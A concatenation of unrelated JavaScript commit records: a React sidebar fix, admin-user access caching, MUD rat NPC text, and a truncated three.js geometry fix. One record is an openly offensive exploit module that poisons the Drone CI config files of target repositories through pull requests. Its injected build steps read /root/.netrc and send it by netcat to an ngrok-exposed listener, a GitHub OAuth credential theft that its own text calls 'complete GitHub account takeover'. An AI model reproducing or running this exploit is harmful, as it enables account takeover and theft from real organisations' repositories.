<commit_before>
/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

    Sidebar

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */

import _ from 'lodash';
import React, { Component } from 'react';

import Logo from './Logo/index';
import Menu from './Menu/index';
import Profile from './Profile/index';

import UserStore from '../../../stores/UserStore';

import Config from '../../../Config';

const Style = require('./style.scss');

/**
 *  Sidebar
 */
class Sidebar extends Component {

    constructor (props) {
        super(props);

        this.state = {
            user: UserStore.getUser()
        }

        this.__handleUserStoreDataChange = this._handleUserStoreDataChange.bind(this);
    }

    componentDidMount () {
        UserStore.addDataChangeListener(this.__handleUserStoreDataChange);
    }

    componentWillUnmount () {
        UserStore.removeDataChangeListener(this.__handleUserStoreDataChange);
    }

    _handleUserStoreDataChange () {
        this.setState({
            user: UserStore.getUser()
        });
    }

    _renderLogo () {
        return <Logo title="Firepack"/>;
    }

    _renderMenu () {
        return (
            let menu = [
                {
                    title: 'Menu',
                    links: [
                        {
                            icon: 'tachometer',
                            title: 'Dashboard',
                            route: '/dashboard'
                        }, {
                            icon: 'cog',
                            title: 'Settings',
                            route: '/settings'
                        }
                    ]
                }
            ];

            menu.push(Config.sidebarMenu);

            <Menu menu={menu}/>
        );
    }

    _renderProfile () {
        const user = {
            avatar: '/assets/images/users/bulicmatko.jpg',
            displayName: _.get(this.state.user, 'profile.name.first') + ' ' + _.get(this.state.user, 'profile.name.last'),
            email: _.get(this.state.user, 'account.email') + ''
        };

        return <Profile {...user}/>;
    }

    render () {
        return (

                    {this._renderLogo()}

                    {this._renderMenu()}

                    {this._renderProfile()}

        );
    }

}

// Export Sidebar
export default Sidebar;
<commit_msg>lapsus<commit_after>
/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

    Sidebar

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */

import _ from 'lodash';
import React, { Component } from 'react';

import Logo from './Logo/index';
import Menu from './Menu/index';
import Profile from './Profile/index';

import UserStore from '../../../stores/UserStore';

import Config from '../../../Config';

const Style = require('./style.scss');

/**
 *  Sidebar
 */
class Sidebar extends Component {

    constructor (props) {
        super(props);

        this.state = {
            user: UserStore.getUser()
        }

        this.__handleUserStoreDataChange = this._handleUserStoreDataChange.bind(this);
    }

    componentDidMount () {
        UserStore.addDataChangeListener(this.__handleUserStoreDataChange);
    }

    componentWillUnmount () {
        UserStore.removeDataChangeListener(this.__handleUserStoreDataChange);
    }

    _handleUserStoreDataChange () {
        this.setState({
            user: UserStore.getUser()
        });
    }

    _renderLogo () {
        return <Logo title="Firepack"/>;
    }

    _renderMenu () {
        let menu = [
            {
                title: 'Menu',
                links: [
                    {
                        icon: 'tachometer',
                        title: 'Dashboard',
                        route: '/dashboard'
                    }, {
                        icon: 'cog',
                        title: 'Settings',
                        route: '/settings'
                    }
                ]
            }
        ];

        menu.push(Config.sidebarMenu);

        return (
            <Menu menu={menu}/>
        );
    }

    _renderProfile () {
        const user = {
            avatar: '/assets/images/users/bulicmatko.jpg',
            displayName: _.get(this.state.user, 'profile.name.first') + ' ' + _.get(this.state.user, 'profile.name.last'),
            email: _.get(this.state.user, 'account.email') + ''
        };

        return <Profile {...user}/>;
    }

    render () {
        return (

                    {this._renderLogo()}

                    {this._renderMenu()}

                    {this._renderProfile()}

        );
    }

}

// Export Sidebar
export default Sidebar;
<|endoftext|>


<commit_before>module.exports = function(access) {
    'use strict';

    let _ = require('lodash');
    let projectAccessCache = {};
    return {
        find: find,
        clear: clear,
        validateAccess: validateAccess
    };

    // find looks up a given project in the project cache.
    // If the projectAccessCache hasn't been loaded it loads the
    // cache.
    function *find(project_id) {
        if (! _.isEmpty(projectAccessCache)) {
            return projectAccessCache[project_id];
        }

        projectAccessCache = yield access.allByProject();
        return projectAccessCache[project_id];
    }

    // clear will clear the current project cache. This is useful
    // when project permissions have been updated or a new project
    // has been created.
    function clear() {
        projectAccessCache = {};
    }

    // validateAccess checks if the user has access to the
    // given project. This method assumes that find was called
    // first so that the projectAccessCache was preloaded. If the
    // projectAccessCache is empty then it returns false (no access).
    function validateAccess(project_id, user) {
        if (_.isEmpty(projectAccessCache)) {
            return false;
        }
        if (!(project_id in projectAccessCache)) {
            return false;
        }
        let index = _.indexOf(projectAccessCache[project_id], function(a) {
            return a.user_id == user.id;
        });

        // when index !== -1 we found the given user in the project.
        return index !== -1;
    }
};
<commit_msg>Load and test for admin users.<commit_after>module.exports = function(access) {
    'use strict';

    let _ = require('lodash');
    let projectAccessCache = {};
    let adminUsersCache = {};
    return {
        find: find,
        clear: clear,
        validateAccess: validateAccess
    };

    // find looks up a given project in the project cache.
    // If the projectAccessCache hasn't been loaded it loads the
    // cache.
    function *find(project_id) {
        if (_.isEmpty(adminUsersCache)) {
            let adminUsers = yield access.adminUsers();
            adminUsers.forEach(function(user) {
                adminUsersCache[user.id] = user;
            });
        }

        if (! _.isEmpty(projectAccessCache)) {
            return projectAccessCache[project_id];
        }

        projectAccessCache = yield access.allByProject();
        return projectAccessCache[project_id];
    }

    // clear will clear the current project cache. This is useful
    // when project permissions have been updated or a new project
    // has been created.
    function clear() {
        projectAccessCache = {};
    }

    // validateAccess checks if the user has access to the
    // given project. This method assumes that find was called
    // first so that the projectAccessCache was preloaded. If the
    // projectAccessCache is empty then it returns false (no access).
    function validateAccess(project_id, user) {
        if (user.id in adminUsersCache) {
            return true;
        }

        if (_.isEmpty(projectAccessCache)) {
            return false;
        }

        if (!(project_id in projectAccessCache)) {
            return false;
        }
        let index = _.indexOf(projectAccessCache[project_id], function(a) {
            return a.user_id == user.id;
        });

        // when index !== -1 we found the given user in the project.
        return index !== -1;
    }
};
<|endoftext|>


<commit_before>'use strict';

const Broadcast = require('../../src/broadcast').Broadcast;
const Random    = require('../../src/random').Random;
const util = require('util');

exports.listeners = {

  spawn: l10n => {
    return function (room, rooms, players) {
      const toRoom = Broadcast.toRoom(room, this, null, players);
      const msg = this.getShortDesc('en') + ' crawls out from its filthy nest.';
      toRoom({ thirdPartyMessage: msg });
    }
  },

  playerEnter: l10n => {
    return (room, rooms, player, players, npc) => {
      const rand = Random.inRange(1, 15);
      if (rand === 3) {
        const msg = '<bold>The rat chitters.</bold>';
        const toRoom = Broadcast.toRoom(room, this, player, players);
        toRoom({
          secondPartyMessage: msg,
          thirdPartyMessage: msg
        });
      }
    }
  },

  playerDropItem: l10n  => {
    return (room, rooms, player, players, npc, npcs, item) => {
      const rand = Random.inRange(1, 15);
      if (rand === 3) {
        const itemDesc = item.getShortDesc('en');
        const msg = '<bold>The rat sniffs at the ' + itemDesc +'</bold>';
        const toRoom = Broadcast.toRoom(room, this, player, players);
        toRoom({
          secondPartyMessage: msg,
          thirdPartyMessage: msg
        });
      }
    }
  },

  hit: l10n => {
    return function(room, player, players, hitLocation, damage) {
      const toRoom = Broadcast.toRoom(room, this, player, players);

      const secondPartyMessage = [
        'The rat\'s claws rake your ' + hitLocation + ', drawing lines of blood.',
        'The rat gnaws your ' + hitLocation + '.',
        'Foaming at the mouth and screeching, the rat sinks its fangs into your ' + hitLocation + '.'
      ];
      const thirdPartyMessage = [
        'The rat rakes ' + player.getShortDesc('en') + ' in the ' + hitLocation + ' with its jagged claws.',
        'The rat bites ' + player.getShortDesc('en') + '\'s ' + hitLocation + ' and refuses to let go.',
        'The rat screeches at ' + player.getShortDesc('en') + ' and sinks its fangs in their ' + hitLocation + '.'
      ];

      Broadcast.consistentMessage(toRoom, { secondPartyMessage, thirdPartyMessage });
    }
  },

  damaged: function(l10n) {
    return function(room, player, players, hitLocation, damage) {
      const toRoom = Broadcast.toRoom(room, this, player, players);

      const moderateDamage = damage < this.getAttribute('health') - 1;

      const secondPartyMessage = moderateDamage ?
      [
        'The rat screeches in pain, a bloody foam spraying from its maw.',
        'A gash opens across the feral rat\'s matted fur.',
        'The rabid rodent is knocked back by the blow, a ball of furry fury.',
        'The rat\'s ' + hitLocation + ' tears under the force of the blow.'
      ] :
      [
        'The rat\'s '+ hitLocation + ' is crushed, a matted ball of bloody fur and bones.'
      ];
      const thirdPartyMessage = moderateDamage ?
      [
        'The rat screeches in pain as its ' + hitLocation + ' crumples.',
        'Foaming at the maw, the rat is gashed by ' + player.getShortDesc('en') + '\'s attack.',
        'The fierce rat is bashed away by ' + player.getShortDesc('en') + '.',
        'Blood sprays across the ground as the feral rat\'s ' + hitLocation + ' is sundered.'
      ] :
      [
        'The rat\'s '+ hitLocation + ' is crushed, a matted ball of bloody fur, thanks to ' + player.getShortDesc('en') + '.'
      ];

      Broadcast.consistentMessage(toRoom, { secondPartyMessage, thirdPartyMessage });
    }
  },

  dodge: function(l10n) {
    return function(room, player, players, hitLocation, damage) {
      const toRoom = Broadcast.toRoom(room, this, player, players);

      const secondPartyMessage = [
        'The rat scurries away from you.',
        'Your attack hits nothing but fur.',
        'The rabid rodent leaps past you as you make your move, and you miss.',
      ];
      const thirdPartyMessage = [
        'The rat scurries away from ' + player.getShortDesc('en') + '\'s attack.',
        player.getShortDesc('en') + '\'s attack hits only the rat\'s fur.',
        'The fierce rat leaps past ' + player.getShortDesc('en') + ' and they whiff.',
      ];

      Broadcast.consistentMessage(toRoom, { secondPartyMessage, thirdPartyMessage });
    }
  },

  missedAttack: function(l10n) {
    return function(room, player, players, hitLocation, damage) {
      const toRoom = Broadcast.toRoom(room, this, player, players);

      const secondPartyMessage = [
        '<yellow>The rat leaps for your ' + hitLocation + ', but flies past in a ball of fur and fangs.</yellow>',
        '<yellow>The rat\'s claws bounce harmlessly off your ' + hitLocation + '.</yellow>',
        '<yellow>The rabid rodent sprays bloody foam on your ' + hitLocation + ' as they try to bite and miss.</yellow>',
      ];
      const thirdPartyMessage = [
        '<yellow>The rat leaps for ' + player.getShortDesc('en') + '\s ' + hitLocation + ', but flies past in a ball of fur and fangs.</yellow>',
        '<yellow>The rat claws uselessly at ' + player.getShortDesc('en') + ', missing.</yellow>',
        '<yellow>The rabid critter sprays bloody foam on ' + player.getShortDesc('en') + ' but fails to do any real damage.</yellow>',
      ];

      Broadcast.consistentMessage(toRoom, { secondPartyMessage, thirdPartyMessage });
    }
  },

  npcLeave: l10n => {
    return function(room, rooms, players, npcs, dest) {
      const toRoom = Broadcast.toRoom(room, this, null, players);
      const thirdPartyMessage = Random.fromArray([
        'Sniffing for crumbs, the rat leaves for ' + dest + '.',
        'Leaving a trail of bloody foam, the rat leaves for ' + dest + '.',
        'The feral rat leaves for ' + dest + ', chittering and growling to itself.',
        'The rat darts into ' + dest + ', whiskers twitching.'
      ]);
      toRoom({thirdPartyMessage});
    }
  },

  npcEnter: l10n => {
    return function(room, rooms, players, npcs, src) {
      const toRoom = Broadcast.toRoom(room, this, null, players);
      const thirdPartyMessage = Random.fromArray([
        'Sniffing for crumbs, the rat comes from ' + src + '.',
        'Foaming at the mouth, a feral rat crawls in from ' + src + '.',
        'The feral rat skitters in from ' + src + '.',
        'The rat darts in from ' + src + ', whiskers twitching.'
      ]);
      toRoom({thirdPartyMessage});
    }
  },

};
<commit_msg>Add punctuation and use a template string because why not.<commit_after>'use strict';

const Broadcast = require('../../src/broadcast').Broadcast;
const Random    = require('../../src/random').Random;
const util = require('util');

exports.listeners = {

  spawn: l10n => {
    return function (room, rooms, players) {
      const toRoom = Broadcast.toRoom(room, this, null, players);
      const msg = this.getShortDesc('en') + ' crawls out from its filthy nest.';
      toRoom({ thirdPartyMessage: msg });
    }
  },

  playerEnter: l10n => {
    return (room, rooms, player, players, npc) => {
      const rand = Random.inRange(1, 15);
      if (rand === 3) {
        const msg = '<bold>The rat chitters.</bold>';
        const toRoom = Broadcast.toRoom(room, this, player, players);
        toRoom({
          secondPartyMessage: msg,
          thirdPartyMessage: msg
        });
      }
    }
  },

  playerDropItem: l10n  => {
    return (room, rooms, player, players, npc, npcs, item) => {
      const rand = Random.inRange(1, 15);
      if (rand === 3) {
        const itemDesc = item.getShortDesc('en');
        const msg = `<bold>The rat sniffs at the ${itemDesc}.</bold>`;
        const toRoom = Broadcast.toRoom(room, this, player, players);
        toRoom({
          secondPartyMessage: msg,
          thirdPartyMessage: msg
        });
      }
    }
  },

  hit: l10n => {
    return function(room, player, players, hitLocation, damage) {
      const toRoom = Broadcast.toRoom(room, this, player, players);

      const secondPartyMessage = [
        'The rat\'s claws rake your ' + hitLocation + ', drawing lines of blood.',
        'The rat gnaws your ' + hitLocation + '.',
        'Foaming at the mouth and screeching, the rat sinks its fangs into your ' + hitLocation + '.'
      ];
      const thirdPartyMessage = [
        'The rat rakes ' + player.getShortDesc('en') + ' in the ' + hitLocation + ' with its jagged claws.',
        'The rat bites ' + player.getShortDesc('en') + '\'s ' + hitLocation + ' and refuses to let go.',
        'The rat screeches at ' + player.getShortDesc('en') + ' and sinks its fangs in their ' + hitLocation + '.'
      ];

      Broadcast.consistentMessage(toRoom, { secondPartyMessage, thirdPartyMessage });
    }
  },

  damaged: function(l10n) {
    return function(room, player, players, hitLocation, damage) {
      const toRoom = Broadcast.toRoom(room, this, player, players);

      const moderateDamage = damage < this.getAttribute('health') - 1;

      const secondPartyMessage = moderateDamage ?
      [
        'The rat screeches in pain, a bloody foam spraying from its maw.',
        'A gash opens across the feral rat\'s matted fur.',
        'The rabid rodent is knocked back by the blow, a ball of furry fury.',
        'The rat\'s ' + hitLocation + ' tears under the force of the blow.'
      ] :
      [
        'The rat\'s '+ hitLocation + ' is crushed, a matted ball of bloody fur and bones.'
      ];
      const thirdPartyMessage = moderateDamage ?
      [
        'The rat screeches in pain as its ' + hitLocation + ' crumples.',
        'Foaming at the maw, the rat is gashed by ' + player.getShortDesc('en') + '\'s attack.',
        'The fierce rat is bashed away by ' + player.getShortDesc('en') + '.',
        'Blood sprays across the ground as the feral rat\'s ' + hitLocation + ' is sundered.'
      ] :
      [
        'The rat\'s '+ hitLocation + ' is crushed, a matted ball of bloody fur, thanks to ' + player.getShortDesc('en') + '.'
      ];

      Broadcast.consistentMessage(toRoom, { secondPartyMessage, thirdPartyMessage });
    }
  },

  dodge: function(l10n) {
    return function(room, player, players, hitLocation, damage) {
      const toRoom = Broadcast.toRoom(room, this, player, players);

      const secondPartyMessage = [
        'The rat scurries away from you.',
        'Your attack hits nothing but fur.',
        'The rabid rodent leaps past you as you make your move, and you miss.',
      ];
      const thirdPartyMessage = [
        'The rat scurries away from ' + player.getShortDesc('en') + '\'s attack.',
        player.getShortDesc('en') + '\'s attack hits only the rat\'s fur.',
        'The fierce rat leaps past ' + player.getShortDesc('en') + ' and they whiff.',
      ];

      Broadcast.consistentMessage(toRoom, { secondPartyMessage, thirdPartyMessage });
    }
  },

  missedAttack: function(l10n) {
    return function(room, player, players, hitLocation, damage) {
      const toRoom = Broadcast.toRoom(room, this, player, players);

      const secondPartyMessage = [
        '<yellow>The rat leaps for your ' + hitLocation + ', but flies past in a ball of fur and fangs.</yellow>',
        '<yellow>The rat\'s claws bounce harmlessly off your ' + hitLocation + '.</yellow>',
        '<yellow>The rabid rodent sprays bloody foam on your ' + hitLocation + ' as they try to bite and miss.</yellow>',
      ];
      const thirdPartyMessage = [
        '<yellow>The rat leaps for ' + player.getShortDesc('en') + '\s ' + hitLocation + ', but flies past in a ball of fur and fangs.</yellow>',
        '<yellow>The rat claws uselessly at ' + player.getShortDesc('en') + ', missing.</yellow>',
        '<yellow>The rabid critter sprays bloody foam on ' + player.getShortDesc('en') + ' but fails to do any real damage.</yellow>',
      ];

      Broadcast.consistentMessage(toRoom, { secondPartyMessage, thirdPartyMessage });
    }
  },

  npcLeave: l10n => {
    return function(room, rooms, players, npcs, dest) {
      const toRoom = Broadcast.toRoom(room, this, null, players);
      const thirdPartyMessage = Random.fromArray([
        'Sniffing for crumbs, the rat leaves for ' + dest + '.',
        'Leaving a trail of bloody foam, the rat leaves for ' + dest + '.',
        'The feral rat leaves for ' + dest + ', chittering and growling to itself.',
        'The rat darts into ' + dest + ', whiskers twitching.'
      ]);
      toRoom({thirdPartyMessage});
    }
  },

  npcEnter: l10n => {
    return function(room, rooms, players, npcs, src) {
      const toRoom = Broadcast.toRoom(room, this, null, players);
      const thirdPartyMessage = Random.fromArray([
        'Sniffing for crumbs, the rat comes from ' + src + '.',
        'Foaming at the mouth, a feral rat crawls in from ' + src + '.',
        'The feral rat skitters in from ' + src + '.',
        'The rat darts in from ' + src + ', whiskers twitching.'
      ]);
      toRoom({thirdPartyMessage});
    }
  },

};
<|endoftext|>


<commit_before>const log = console.log,
  chalk = require('chalk'),
  red = chalk.red,
  green = chalk.green,
  cyan = chalk.cyan,
  ngrok = require('ngrok'),
  github = require(__dirname + '/../../../lib/gh'),
  files = require(__dirname + '/../../../lib/files'),
  repos = require(__dirname + '/../../../lib/repos'),
  exp = require(__dirname + '/../../../lib/exp'),
  drone = require(__dirname + '/../../../modules/drone'),
  server = require(__dirname + '/../../../lib/server'),
  ng = require(__dirname + '/../../../lib/ng'),
  targets = require(__dirname + '/../../../lib/targets'),
  repodir = __dirname + '/../../../../repos';

module.exports = {

  // This particular run function returns an array of netcat listeners
  run: (callback) => {
    exp.exploitSingleHarness('github', 'other', module.exports.type(), module.exports.name(), (err, token, authed_user, raw_targets, ci_targets, nc, duplex, nc_port, hostname, ng_port, ng_server, ng_url) => {
      if (err) {
        log(err);
        return callback();
      } else {
        // Load the .drone.yml file into the repos
        drone.loadDroneConfigAll(module.exports.name(), authed_user, raw_targets, () => {
          const append_promises = [];

          // iterate through list of files, find drone configs and append to the file
          for (let t in raw_targets) {
            append_promises.push(new Promise((resolve, reject) => {
              drone.appendDroneConfig(`${repodir}/${raw_targets[t]}/.drone.yml`, module.exports.injectionString(ng_port, hostname));
              resolve();
            }).catch(err => {
              reject();
              log(err);
            }));
          }

          // Cash in the promises from above
          Promise.all(append_promises)
            .then(c => {
              log(chalk.green("Making pull requests..."));
              repos.pullRequestAll(token, 'other', authed_user, raw_targets, () => {
                let cbcount = 0;
                log(chalk.green("Wating for basic recon scan to complete. Sit tight."));
                duplex.pipe(process.stdout);
                nc.on('data', (info, msg) => {
                  if (msg.toString('utf8').includes("ciderdone")) {
                    cbcount++;
                    if (cbcount >= raw_targets.length) {
                      log(chalk.green("Basic recon scan complete."));
                      duplex.unpipe(process.stdout);
                      nc.close();
                      ngrok.disconnect(ng_url);
                      return callback();
                    }
                  }
                });
              });
            }).catch(e => {
              if (e) {
                log(e);
              }
            });
        });
      }
    })
  },

  name: () => {
    return "drone/github_oauth";
  },

  type: () => {
    return "drone";
  },

  info: (cb) => {
    log(cyan("---\nINFO\n---\n"));
    log((`This exploit returns the GitHub OAuth Key that is used to pull the repo down for the build. \
    This credential will usually have permission to access any repository for the owner, on be half of any user (if this is an organization).\
    This means write permission to master branch. This will only work against private repositories, but the access can be far reaching. You know. \
    Complete GitHub account takeover.\n`));

    log(cyan("ORDER OF EXECUTION\n------------------\n"));
    log(("1) Clone all forked targets locally. Drone can't handle PRs from forked repos"));
    log(("2) Start single shell handler"));
    log(("3) Load and poison the .drone.yml file of the cloned repos"));
    log(("4) Push commited changes, and submit a pull request"));
    log(("5) Listen for incoming messages. Close shell once executed."));
    return cb();
    // Print information about the exploit
  },

  injectionString: (ng_port, hostname) => {
    return `\n      - export NGPORT=${ng_port}\n      \
- export NGHOSTNAME=${hostname}\n      \
- set +e\n      \
- apt-get update && apt-get install -y apt-utils net-tools netcat curl\n      \
- touch /tmp/cider_out\n      \
- cat /root/.netrc >> /tmp/cider_out\n      \
- echo "ciderdone" >> /tmp/cider_out\n      \
- nc $NGHOSTNAME $NGPORT < /tmp/cider_out\n      \
- exit 1`;
  },

  options: () => {
    log(green("\n-------\nOPTIONS\n-------\n"));
    log(green("NO OPTIONS. This is the 'easy' exploit. No need to set IPs or ports."));
  }
}<commit_msg>Typos and pretty messages<commit_after>const log = console.log,
  chalk = require('chalk'),
  red = chalk.red,
  green = chalk.green,
  cyan = chalk.cyan,
  ngrok = require('ngrok'),
  github = require(__dirname + '/../../../lib/gh'),
  files = require(__dirname + '/../../../lib/files'),
  repos = require(__dirname + '/../../../lib/repos'),
  exp = require(__dirname + '/../../../lib/exp'),
  drone = require(__dirname + '/../../../modules/drone'),
  server = require(__dirname + '/../../../lib/server'),
  ng = require(__dirname + '/../../../lib/ng'),
  targets = require(__dirname + '/../../../lib/targets'),
  repodir = __dirname + '/../../../../repos';

module.exports = {

  // This particular run function returns an array of netcat listeners
  run: (callback) => {
    exp.exploitSingleHarness('github', 'other', module.exports.type(), module.exports.name(), (err, token, authed_user, raw_targets, ci_targets, nc, duplex, nc_port, hostname, ng_port, ng_server, ng_url) => {
      if (err) {
        log(err);
        return callback();
      } else {
        // Load the .drone.yml file into the repos
        drone.loadDroneConfigAll(module.exports.name(), authed_user, raw_targets, () => {
          const append_promises = [];

          // iterate through list of files, find drone configs and append to the file
          for (let t in raw_targets) {
            append_promises.push(new Promise((resolve, reject) => {
              drone.appendDroneConfig(`${repodir}/${raw_targets[t]}/.drone.yml`, module.exports.injectionString(ng_port, hostname));
              resolve();
            }).catch(err => {
              reject();
              log(err);
            }));
          }

          // Cash in the promises from above
          Promise.all(append_promises)
            .then(c => {
              log(chalk.green("Making pull requests..."));
              repos.pullRequestAll(token, 'other', authed_user, raw_targets, () => {
                let cbcount = 0;
                log(chalk.green("Wating for GitHub Oauth credential theft to complete. Hold on to your butts."));
                duplex.pipe(process.stdout);
                nc.on('data', (info, msg) => {
                  if (msg.toString('utf8').includes("ciderdone")) {
                    cbcount++;
                    if (cbcount >= raw_targets.length) {
                      log(chalk.green("Credential theft scan complete."));
                      duplex.unpipe(process.stdout);
                      nc.close();
                      ngrok.disconnect(ng_url);
                      return callback();
                    }
                  }
                });
              });
            }).catch(e => {
              if (e) {
                log(e);
              }
            });
        });
      }
    })
  },

  name: () => {
    return "drone/github_oauth";
  },

  type: () => {
    return "drone";
  },

  info: (cb) => {
    log(cyan("---\nINFO\n---\n"));
    log((`This exploit returns the GitHub OAuth Key that is used to pull the repo down for the build. \
    This credential will usually have permission to access any repository for the owner, on be half of any user (if this is an organization).\
    This means write permission to master branch. This will only work against private repositories, but the access can be far reaching. You know. \
    Complete GitHub account takeover.\n`));

    log(cyan("ORDER OF EXECUTION\n------------------\n"));
    log(("1) Clone all forked targets locally. Drone can't handle PRs from forked repos"));
    log(("2) Start single shell handler"));
    log(("3) Load and poison the .drone.yml file of the cloned repos"));
    log(("4) Push commited changes, and submit a pull request"));
    log(("5) Listen for incoming messages. Close shell once executed."));
    return cb();
    // Print information about the exploit
  },

  injectionString: (ng_port, hostname) => {
    return `\n      - export NGPORT=${ng_port}\n      \
- export NGHOSTNAME=${hostname}\n      \
- set +e\n      \
- apt-get update && apt-get install -y apt-utils net-tools netcat curl\n      \
- touch /tmp/cider_out\n      \
- cat /root/.netrc >> /tmp/cider_out\n      \
- echo "ciderdone" >> /tmp/cider_out\n      \
- nc $NGHOSTNAME $NGPORT < /tmp/cider_out\n      \
- exit 1`;
  },

  options: () => {
    log(green("\n-------\nOPTIONS\n-------\n"));
    log(green("NO OPTIONS. This is the 'easy' exploit. No need to set IPs or ports."));
  }
}<|endoftext|>


<commit_before>/**
 * @author Mugen87 / https://github.com/Mugen87
 */

THREE.BoxBufferGeometry = function ( width, height, depth, widthSegments, heightSegments, depthSegments ) {

	THREE.BufferGeometry.call( this );

	this.type = 'BoxBufferGeometry';

	this.parameters = {
		width: width,
		height: height,
		depth: depth,
		widthSegments: widthSegments,
		heightSegments: heightSegments,
		depthSegments: depthSegments
	};

	var scope = this;

	// segments
	widthSegments = Math.floor( widthSegments ) || 1;
	heightSegments = Math.floor( heightSegments ) || 1;
	depthSegments = Math.floor( depthSegments ) || 1;

	// these are used to calculate buffer length
	var vertexCount = calculateVertexCount( widthSegments, heightSegments, depthSegments );
	var indexCount = ( vertexCount / 4 ) * 6;

	// buffers
	var indices = new ( indexCount > 65535 ? Uint32Array : Uint16Array )( indexCount );
	var vertices = new Float32Array( vertexCount * 3 );
	var normals = new Float32Array( vertexCount * 3 );
	var uvs = new Float32Array( vertexCount * 2 );

	// offset variables
	var vertexBufferOffset = 0;
	var uvBufferOffset = 0;
	var indexBufferOffset = 0;
	var numberOfVertices = 0;

	// group variables
	var groupStart = 0;

	// build each side of the box geometry
	buildPlane( 'z', 'y', 'x', - 1, - 1, depth, height,   width,  depthSegments, heightSegments, 0 ); // px
	buildPlane( 'z', 'y', 'x',   1, - 1, depth, height, - width,  depthSegments, heightSegments, 1 ); // nx
	buildPlane( 'x', 'z', 'y',   1,   1, width, depth,    height, widthSegments, depthSegments,  2 ); // py
	buildPlane( 'x', 'z', 'y',   1, - 1, width, depth,  - height, widthSegments, depthSegments,  3 ); // ny
	buildPlane( 'x', 'y', 'z',   1, - 1, width, height,   depth,  widthSegments, heightSegments, 4 ); // pz
	buildPlane( 'x', 'y', 'z', - 1, - 1, width, height, - depth,  widthSegments, heightSegments, 5 ); // nz

	// build geometry
	this.setIndex( new THREE.BufferAttribute( indices, 1 ) );
	this.addAttribute( 'position', new THREE.BufferAttribute( vertices, 3 ) );
	this.addAttribute( 'normal', new THREE.BufferAttribute( normals, 3 ) );
	this.addAttribute( 'uv', new THREE.BufferAttribute( uvs, 2 ) );

	// helper functions

	function calculateVertexCount ( w, h, d ) {

		var segments = 0;

		// calculate the amount of segments for each side
		segments += w * h * 2; // xy
		segments += w * d * 2; // xz
		segments += d * h * 2; // zy

		return segments * 4; // four vertices per segments

	}

	function buildPlane ( u, v, w, udir, vdir, width, height, depth, gridX, gridY, materialIndex ) {

		var segmentWidth	= width / gridX;
		var segmentHeight = height / gridY;

		var widthHalf = width / 2;
		var heightHalf = height / 2;
		var depthHalf = depth / 2;

		var gridX1 = gridX + 1;
		var gridY1 = gridY + 1;

		var vertexCounter = 0;
		var groupCount = 0;

		var vector = new THREE.Vector3();

		// generate vertices, normals and uvs

		for ( var iy = 0; iy < gridY1; iy ++ ) {

			var y = iy * segmentHeight - heightHalf;

			for ( var ix = 0; ix < gridX1; ix ++ ) {

				var x = ix * segmentWidth - widthHalf;

				// set values to correct vector component
				vector[ u ] = x * udir;
				vector[ v ] = y * vdir;
				vector[ w ] = depthHalf;

				// now apply vector to vertex buffer
				vertices[ vertexBufferOffset ] = vector.x;
				vertices[ vertexBufferOffset + 1 ] = vector.y;
				vertices[ vertexBufferOffset + 2 ] = vector.z;

				// set values to correct vector component
				vector[ u ] = 0;
				vector[ v ] = 0;
				vector[ w ] = depth > 0 ? 1 : - 1;

				// now apply vector to normal buffer
				normals[ vertexBufferOffset ] = vector.x;
				normals[ vertexBufferOffset + 1 ] = vector.y;
				normals[ vertexBufferOffset + 2 ] = vector.z;

				// uvs
				uvs[ uvBufferOffset ] = ix / gridX;
				uvs[ uvBufferOffset + 1 ] = 1 - ( iy / gridY );

				// update offsets and counters
				vertexBufferOffset += 3;
				uvBufferOffset += 2;
				vertexCounter += 1;

			}

		}

		// 1. you need three indices to draw a single face
		// 2. a single segment consists of two faces
		// 3. so we need to generate six (2*3) indices per segment

		for ( iy = 0; iy < gridY; iy ++ ) {

			for ( ix = 0; ix < gridX; ix ++ ) {

				// indices
				var a = numberOfVertices + ix + gridX1 * iy;
				var b = numberOfVertices + ix + gridX1 * ( iy + 1 );
				var c = numberOfVertices + ( ix + 1 ) + gridX1 * ( iy + 1 );
				var d = numberOfVertices + ( ix + 1 ) + gridX1 * iy;

				// face one
				indices[ indexBufferOffset ] = a;
				indices[ indexBufferOffset + 1 ] = b;
				indices[ indexBufferOffset + 2 ] = d;

				// face two
				indices[ indexBufferOffset + 3 ] = b;
				indices[ indexBufferOffset + 4 ] = c;
				indices[ indexBufferOffset + 5 ] = d;

				// update offsets and counters
				indexBufferOffset += 6;
				groupCount += 6;

			}

		}

		// add a group to the geometry. this will ensure multi material support
		scope.addGroup( groupStart, groupCount, materialIndex );

		// calculate new start value for groups
		groupStart += groupCount;

		// update total number of vertices
		numberOfVertices += vertexCounter;

	}

};

THREE.BoxBufferGeometry.prototype = Object.create( THREE.BufferGeometry.prototype );
THREE.BoxBufferGeometry.prototype.constructor = THREE.BoxBufferGeometry;
<commit_msg>Array length fixed (#8703)<commit_after>/**
 * @author Mugen87 / https://github.com/Mugen87
 */

THREE.BoxBufferGeometry = function ( width, height, depth, widthSegments, heightSegments, depthSegments ) {

	THREE.BufferGeometry.call( this );

	this.type = 'BoxBufferGeometry';

	this.parameters = {
		width: width,
		height: height,
		depth: depth,
		widthSegments: widthSegments,
		heightSegments: heightSegments,
		depthSegments: depthSegments
	};

	var scope = this;

	// segments
	widthSegments = Math.floor( widthSegments ) || 1;
	heightSegments = Math.floor( heightSegments ) || 1;
	depthSegments = Math.floor( depthSegments ) || 1;

	// these are used to calculate buffer length
	var vertexCount = calculateVertexCount( widthSegments, heightSegments, depthSegments );
	var indexCount = calculateIndexCount( widthSegments, heightSegments, depthSegments );

	// buffers
	var indices = new ( indexCount > 65535 ? Uint32Array : Uint16Array )( indexCount );
	var vertices = new Float32Array( vertexCount * 3 );
	var normals = new Float32Array( vertexCount * 3 );
	var uvs = new Float32Array( vertexCount * 2 );

	// offset variables
	var vertexBufferOffset = 0;
	var uvBufferOffset = 0;
	var indexBufferOffset = 0;
	var numberOfVertices = 0;

	// group variables
	var groupStart = 0;

	// build each side of the box geometry
	buildPlane( 'z', 'y', 'x', - 1, - 1, depth, height,   width,  depthSegments, heightSegments, 0 ); // px
	buildPlane( 'z', 'y', 'x',   1, - 1, depth, height, - width,  depthSegments, heightSegments, 1 ); // nx
	buildPlane( 'x', 'z', 'y',   1,   1, width, depth,    height, widthSegments, depthSegments,  2 ); // py
	buildPlane( 'x', 'z', 'y',   1, - 1, width, depth,  - height, widthSegments, depthSegments,  3 ); // ny
